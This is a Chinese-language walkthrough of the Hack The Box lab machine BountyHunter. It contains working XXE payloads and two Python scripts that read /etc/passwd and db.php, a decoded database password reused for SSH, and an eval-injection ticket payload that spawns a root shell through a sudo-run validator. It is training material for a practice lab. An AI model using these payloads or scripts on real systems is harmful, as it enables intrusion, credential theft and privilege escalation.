HTB: BountyHunter (OSWE 靶機)

BountyHunter 是一台容易入門的 Linux 靶機,主要利用 XML External Entity(XXE)注入來讀取系統檔案。攻擊者能夠讀取一個會外洩認證資訊的 PHP 檔案,藉此取得系統中 development 使用者的初始存取權。來自 John 的一則訊息提到他與 Skytrain Inc 的合約,並提及一個用於驗證車票的腳本。審查該 Python 腳本的原始碼後可以發現,它對車票代碼使用了 eval 函式,導致可被惡意注入。而 development 使用者可以使用 sudo 以 root 身份執行這個 Python 腳本,因此可以藉由注入達成提權並獲得 root shell。

機器資訊

  • 平台: Hack The Box

  • 難度: Easy

  • IP: 10.129.22.247

  • 作業系統: Linux

偵察(Recon)

Nmap 掃描-TCP

sudo nmap -sC -sV -p- --min-rate 10000 10.129.22.247 -oA scan/TCP

TCP開放端口: - 22/tcp - SSH (OpenSSH 8.9p1) - 80/tcp - Apache httpd 2.4.41 ((Ubuntu))

TCP 80

中間有個下載的guide但點擊後沒東西是個死按鈕 點擊portal的頁面 ,看網頁上寫著 Portal under development還在開發,並告訴我們點here就能到 bounty tracker 點擊here 會看到 Bounty Report System 試著送出資料以及使用burpsuite攔截過程 從攔截得過程可以看出是送出XML的內容,那看到XML的內容就要想到XXE,先確定能不能讀取etc/passwd才行,

XXE to development

PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT5Db29sPC90aXRsZT4KCQk8Y3dlPjEyMzwvY3dlPgoJCTxjdnNzPjEuNTwvY3Zzcz4KCQk8cmV3YXJkPjUwMDA8L3Jld2FyZD4KCQk8L2J1Z3JlcG9ydD4%3D

原始送出的payload可以從Burpsuite上看到是先做url encode 在做base64 encode

PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT5Db29sPC90aXRsZT4KCQk8Y3dlPjEyMzwvY3dlPgoJCTxjdnNzPjEuNTwvY3Zzcz4KCQk8cmV3YXJkPjUwMDA8L3Jld2FyZD4KCQk8L2J1Z3JlcG9ydD4=

再把上面那串url encode變成 base64encode

<?xml  version="1.0" encoding="ISO-8859-1"?>
        <bugreport>
        <title>Cool</title>
        <cwe>123</cwe>
        <cvss>1.5</cvss>
        <reward>5000</reward>
        </bugreport>

變成原始送出的資訊,先測試能不能自行修改title中間的文字

<?xml  version="1.0" encoding="ISO-8859-1"?>
        <bugreport>
        <title>Hackwithcontrol</title>
        <cwe>123</cwe>
        <cvss>1.5</cvss>
        <reward>5000</reward>
        </bugreport>

一樣把這串base64 在做 url decode回去 像上面這樣

PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT5IYWNrd2l0aGNvbnRyb2w8L3RpdGxlPgoJCTxjd2U%2BMTIzPC9jd2U%2BCgkJPGN2c3M%2BMS41PC9jdnNzPgoJCTxyZXdhcmQ%2BNTAwMDwvcmV3YXJkPgoJCTwvYnVncmVwb3J0Pg%3D%3D

可以看到title裡面的已經被修改,那接下來我們就來塞XXE的payload 這樣我們要加入DOCTYPE 宣告來呼叫外部實體,可以點這邊看到相關資訊

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY Control SYSTEM "file:///etc/passwd"> ]>

這邊我們定義Control做外部的實體然後印用外部資源『file:///etc/passwd』

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY Control SYSTEM "file:///etc/passwd"> ]>
        <bugreport>
        <title>&Control;</title>
        <cwe>123</cwe>
        <cvss>1.5</cvss>
        <reward>5000</reward>
        </bugreport>

一樣使用CyberChef去製作我們的payload 成功拿到etc/passwd的資訊 寫個payload存取 XXE

import requests
import base64
import sys

target_ip ="10.129.22.247"
url = f"http://{target_ip}/tracker_diRbPr00f314.php"


xml_payload ="""<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY Control SYSTEM "file:///etc/passwd"> ]>
        <bugreport>
        <title>&Control;</title>
        <cwe>123</cwe>
        <cvss>1.5</cvss>
        <reward>5000</reward>
        </bugreport>"""

print("Encodeing payload.....")
payload_1 = xml_payload.encode('utf-8')
payload_2 = base64.b64encode(payload_1)
finally_payload = payload_2

data = {
    'data': payload_2
}

print(f"Sending exploit to{url}")
try:
    response = requests.post(url, data=data)
    if response.status_code == 200:
        print("\nSuccess!\n")
        print(response.text)

    else:
        print("Fail")

except Exception as e:
    print(f"[-] Error:{e}")

成功存取etc/passwd,這樣之後就能只改payload就好了 從/etc/passwd 上有看到一個user是『development』僅僅知道資訊也不能進一步的利用於是我目錄爆破

feroxbuster -u http://10.129.22.247/ -x php

發現有一個db.php檔案,是不是能夠結構我們的XXE去讀取?

    <!DOCTYPE replace [<!ENTITY Control SYSTEM "php://filter/convert.base64-encode/resource=db.php"> ]>

更改payload 可以拿到使用php://filter/convert.base64-encode/resourcen所產出來的base64,再把它decode就是我們的db.php檔案

echo "PD9waHAKLy8gVE9ETyAtPiBJbXBsZW1lbnQgbG9naW4gc3lzdGVtIHdpdGggdGhlIGRhdGFiYXNlLgokZGJzZXJ2ZXIgPSAibG9jYWxob3N0IjsKJGRibmFtZSA9ICJib3VudHkiOwokZGJ1c2VybmFtZSA9ICJhZG1pbiI7CiRkYnBhc3N3b3JkID0gIm0xOVJvQVUwaFA0MUExc1RzcTZLIjsKJHRlc3R1c2VyID0gInRlc3QiOwo/Pgo=" | base64 -d

這邊在增加 re模組寫一個幫我們自動decode的py

import requests
import base64
import sys
import re

target_ip ="10.129.22.247"
url = f"http://{target_ip}/tracker_diRbPr00f314.php"


xml_payload ="""<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE replace [<!ENTITY Control SYSTEM "php://filter/convert.base64-encode/resource=db.php"> ]>
<bugreport>
<title>&Control;</title>
<cwe>123</cwe>
<cvss>1.5</cvss>
<reward>5000</reward>
</bugreport>"""

print("Encodeing payload.....")
payload_1 = xml_payload.encode('utf-8')
payload_2 = base64.b64encode(payload_1)
finally_payload = payload_2

data = {
    'data': payload_2
}

print(f"Sending exploit to{url}")
try:
    response = requests.post(url, data=data)
    if response.status_code == 200:
        print("\nSuccess! Hunting for Base64\n")
        pattern = r"<td>Title:</td>\s*<td>(.*?)</td>"
        match = re.search(pattern, response.text)
        print(response.text)
        if match:
            base64_str = match.group(1)
            print(f"[*] base64:{base64_str}")
            decode_code = base64.b64decode(base64_str).decode('utf-8')
            print("\n" + decode_code)
    else:
        print("Fail. Pattern not found")

except Exception as e:
    print(f"[-] Error:{e}")

比較要知道的地方在使用re要注意抓到的位置裡面要有\s* 這個可以忽略中間所有的換行和空白,直接跳到下一個我要找的東西

<td>Title:</td>\s*<td>(.*?)</td>

拿到db的密碼後嘗試看是不是development的密碼

ssh development@10.129.22.247

成功登入development

development to root

成功進來ssh之後使用sudo -l 有一個使用python3.8執行/opt/skytrain_inc/ticketValidator.py的權限 第一個想法是直接取代 但發現沒有修改的權限 先看裡面怎麼寫的

#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.
def load_file(loc):
    if loc.endswith(".md"):
        return open(loc, 'r')
    else:
        print("Wrong file type.")
        exit()
def evaluate(ticketFile):
    #Evaluates a ticket to check for ireggularities.
    code_line = None
    for i,x in enumerate(ticketFile.readlines()):
        if i == 0:
            if not x.startswith("# Skytrain Inc"):
                return False
            continue
        if i == 1:
            if not x.startswith("## Ticket to "):
                return False
            print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
            continue
        if x.startswith("__Ticket Code:__"):
            code_line = i+1
            continue

        if code_line and i == code_line:
            if not x.startswith("**"):
                return False
            ticketCode = x.replace("**", "").split("+")[0]
            if int(ticketCode) % 7 == 4:
                validationNumber = eval(x.replace("**", ""))
                if validationNumber > 100:
                    return True
                else:
                    return False
    return False
def main():
    fileName = input("Please enter the path to the ticket file.\n")
    ticket = load_file(fileName)
    #DEBUG print(ticket)
    result = evaluate(ticket)
    if (result):
        print("Valid ticket.")
    else:
        print("Invalid ticket.")
    ticket.close
main()

在相同的資料夾有另外一個txt檔案,看起來是有使用 rm -rf 砍掉很多檔案xDD超白癡 比較重要的是在提交ticket的時候會fail 前往/opt/skytrain_inc發現invalid_tickets的資料夾 裡面存放著無效的ticket 我們回去看程式碼的evaluate的地方檢查看為什麼無效 他會檢查檔案開頭有沒有

# Skytrain Inc
## Ticket to 
__Ticket Code:__

比較特別的是接下來兩個 他會把**變成空字串,並且使用split做切割看到+取[0]只拿一塊

ticketCode = x.replace("**", "").split("+")[0]

假設我們輸入

** 100元 + 讚喔酷

在replace就會幫我們把**變成空字串

100元 + 讚喔酷

接下來split就會切 取[0]他最後只會拿

[0]

接下來就是數學題的過濾

int(ticketCode) % 7 == 4

找個數字除7 要餘數等於4 當前面都通過後就能使用eval()去幫我們做提權,原因是eval()會把我們輸入的內容當作程式碼使用 最後組成的payload如下

# Skytrain Inc
## Ticket to Root
__Ticket Code:__
** 102+ 100 + __import__('os').system('/bin/bash')

成功拿到root